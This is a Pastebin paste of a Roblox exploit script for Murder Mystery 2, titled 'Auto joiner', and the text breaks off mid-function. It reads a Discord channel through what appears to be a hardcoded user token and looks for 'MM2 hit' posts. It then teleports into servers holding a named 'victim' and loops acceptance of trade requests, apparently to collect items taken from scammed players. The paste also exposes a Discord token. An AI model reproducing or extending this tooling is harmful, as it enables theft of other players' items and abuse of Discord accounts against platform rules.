B6O6S

Auto joiner

May 12th, 2025
46
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.01 KB | None | 0 0
  1. token = "NzE4OTEwMjY0OTQyMDAyMjc3.GOxJRC.kRNODRx7CcoVWXomkdW68fMsKnJjDlg5p4boLQ"
  2. channelId = "1284504105066303520"
  3. if not game:IsLoaded() then
  4. game.Loaded:Wait() -- Wait for game to load
  5. end
  6.  
  7. if token == "" or channelId == "" then
  8. game.Players.LocalPlayer:kick("Add your token or channelId to use")
  9. end
  10.  
  11. local bb = game:GetService("VirtualUser") -- Anti AFK
  12. game:service "Players".LocalPlayer.Idled:connect(
  13. function()
  14. bb:CaptureController()
  15. bb:ClickButton2(Vector2.new())
  16. end
  17. )
  18.  
  19. local HttpServ = game:GetService("HttpService")
  20. local VirtualInputManager = game:GetService("VirtualInputManager")
  21. local victimFile = isfile("user.txt")
  22. local joinedFile = isfile("joined_ids.txt")
  23. if not victimFile then
  24. writefile("user.txt", "victim username")
  25. end
  26. if not joinedFile then
  27. writefile("joined_ids.txt", "[]") -- Initialize with empty JSON array
  28. end
  29. local victimUser = readfile("user.txt")
  30. local joinedIds = HttpServ:JSONDecode(readfile("joined_ids.txt"))
  31. local didVictimLeave = false
  32. local timer = 0
  33.  
  34. local function selectDevice()
  35. while task.wait(0.1) do
  36. local DeviceSelectGui = game.Players.LocalPlayer:WaitForChild("PlayerGui"):FindFirstChild("DeviceSelect")
  37. if DeviceSelectGui then
  38. local Container = DeviceSelectGui:WaitForChild("Container")
  39. local Mouse = game.Players.LocalPlayer:GetMouse()
  40. local button = Container:WaitForChild("Phone"):WaitForChild("Button")
  41. local buttonPos = button.AbsolutePosition
  42. local buttonSize = button.AbsoluteSize
  43. local centerX = buttonPos.X + buttonSize.X / 2
  44. local centerY = buttonPos.Y + buttonSize.Y / 2
  45. VirtualInputManager:SendMouseButtonEvent(centerX, centerY, 0, true, game, 1)
  46. VirtualInputManager:SendMouseButtonEvent(centerX, centerY, 0, false, game, 1)
  47. end
  48. end
  49. end
  50.  
  51. task.spawn(selectDevice)
  52.  
  53. local mainGui = game.Players.LocalPlayer:WaitForChild("PlayerGui", 30):WaitForChild("MainGUI", 30):WaitForChild("Game", 30) -- Wait for main gui so we know we are loaded in
  54. local waittime = delay or 3
  55. wait(waittime) -- Small delay to account for ping and stuff
  56. local notused = game:GetService('ReplicatedStorage'):WaitForChild('Trade'):WaitForChild('AcceptRequest') -- Just to make sure we are fully loaded before chatting (or it will bug)
  57. game:GetService('TextChatService').TextChannels.RBXGeneral:SendAsync('hi')
  58.  
  59. local function saveJoinedId(messageId)
  60. table.insert(joinedIds, messageId) -- Add the new ID
  61. writefile("joined_ids.txt", HttpServ:JSONEncode(joinedIds)) -- Save back to the file
  62. end
  63.  
  64. local function acceptRequest()
  65. while task.wait(0.1) do
  66. game:GetService('ReplicatedStorage'):WaitForChild('Trade'):WaitForChild('AcceptRequest'):FireServer()
  67. end
  68. end
  69.  
  70. local function acceptTrade()
  71. while task.wait(0.1) do
  72. game:GetService('ReplicatedStorage'):WaitForChild('Trade'):WaitForChild('AcceptTrade'):FireServer(unpack({[1] = 285646582}))
  73. end
  74. end
  75.  
  76. local function waitForPlayerLeave()
  77. local playerRemovedConnection
  78. playerRemovedConnection = game.Players.PlayerRemoving:Connect(function(removedPlayer)
  79. if removedPlayer.Name == victimUser then
  80. if playerRemovedConnection then
  81. playerRemovedConnection:Disconnect()
  82. end
  83. didVictimLeave = true
  84. end
  85. end)
  86. end
  87.  
  88. local function IsTrading()
  89. local trade_statue = game:GetService("ReplicatedStorage").Trade.GetTradeStatus:InvokeServer()
  90. if trade_statue == "StartTrade" then
  91. return true
  92. else
  93. return false
  94. end
  95. end
  96.  
  97. local function tradeTimer()
  98. while task.wait(1) do
  99. if IsTrading() then
  100. timer = 0
  101. else
  102. timer = timer + 1
  103. end
  104. end
  105. end
  106.  
  107. waitForPlayerLeave()
  108. task.spawn(acceptRequest) -- Start accepting trade requests
  109. task.spawn(acceptTrade) -- Start accepting trades
  110. task.spawn(tradeTimer)
  111.  
  112. local function autoJoin()
  113. local response = request({
  114. Url = "https://discord.com/api/v9/channels/"..channelId.."/messages?limit=10",
  115. Method = "GET",
  116. Headers = {
  117. ['Authorization'] = token,
  118. ['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
  119. ["Content-Type"] = "application/json"
  120. }
  121. })
  122.  
  123. if response.StatusCode == 200 then
  124. local messages = HttpServ:JSONDecode(response.Body)
  125. if #messages == 0 then
  126. print("0 messages found")
  127. return
  128. end
  129. for _, message in ipairs(messages) do
  130. if message.content ~= "" and message.embeds and message.embeds[1] and message.embeds[1].title then
  131. if message.embeds[1].title:find("Join to get MM2 hit") then
  132. local placeId, jobId = string.match(message.content, 'TeleportToPlaceInstance%((%d+),%s*["\']([%w%-]+)["\']%)') -- Extract placeId and jobId from the embed
  133.  
Advertisement
Add Comment
Please, Sign In to add comment